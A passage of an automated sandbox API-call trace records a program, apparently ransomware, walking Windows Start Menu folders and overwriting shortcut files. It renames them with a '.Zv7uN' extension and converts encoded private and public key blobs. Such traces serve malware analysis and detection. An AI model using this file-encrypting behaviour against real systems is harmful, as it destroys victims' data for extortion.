(lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\GameExplorer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\games\\gameexplorer.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0133.275] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f30790*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f30790*, lpNumberOfBytesWritten=0x18f3e0*=0x102, lpOverlapped=0x0) returned 1 [0133.278] CloseHandle (hObject=0x1e8) returned 1 [0133.278] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\GameExplorer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\games\\gameexplorer.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\GameExplorer.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\games\\gameexplorer.lnk.zv7un")) returned 1 [0133.279] GetCurrentThreadId () returned 0xa30 [0133.279] GetCurrentThreadId () returned 0xa30 [0133.279] GetCurrentThreadId () returned 0xa30 [0133.279] GetCurrentThreadId () returned 0xa30 [0133.279] GetCurrentThreadId () returned 0xa30 [0133.280] GetCurrentThreadId () returned 0xa30 [0133.280] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db22b28, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3db22b28, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3db94f49, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="GameExplorer.lnk", cAlternateFileName="GAMEEX~1.LNK")) returned 0 [0133.280] GetLastError () returned 0x12 [0133.280] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0133.280] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x63a92e20, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x63a92e20, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0133.280] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0133.280] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.280] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x63a92e20, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x63a92e20, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0133.280] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.280] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.280] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8e194aab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8e194aab, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0133.281] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db22b28, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3db22b28, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x63a92e20, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="GameExplorer.lnk.Zv7uN", cAlternateFileName="GAMEEX~1.ZV7")) returned 1 [0133.281] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.281] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.281] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db22b28, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3db22b28, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x63a92e20, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="GameExplorer.lnk.Zv7uN", cAlternateFileName="GAMEEX~1.ZV7")) returned 0 [0133.281] GetLastError () returned 0x12 [0133.281] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0133.281] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7df47e00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7df47e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6185b1e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x8dd, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Google Chrome.lnk.Zv7uN", cAlternateFileName="GOOGLE~1.ZV7")) returned 1 [0133.281] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0133.281] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0133.281] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7577bc60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Java", cAlternateFileName="")) returned 1 [0133.281] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0133.281] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0133.281] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7577bc60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0133.283] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7577bc60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0133.283] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x762ca4e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7cf, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="About Java.lnk", cAlternateFileName="ABOUTJ~1.LNK")) returned 1 [0133.284] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0133.284] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.284] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\About Java.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\about java.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x762ca4e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7cf)) returned 1 [0133.285] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\About Java.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\about java.lnk")) returned 0x20 [0133.285] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\About Java.lnk", dwFileAttributes=0x80) returned 1 [0133.287] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0133.287] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f158fc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0133.289] GetCurrentThreadId () returned 0xa30 [0133.289] GetCurrentThreadId () returned 0xa30 [0133.289] GetCurrentThreadId () returned 0xa30 [0133.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0133.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 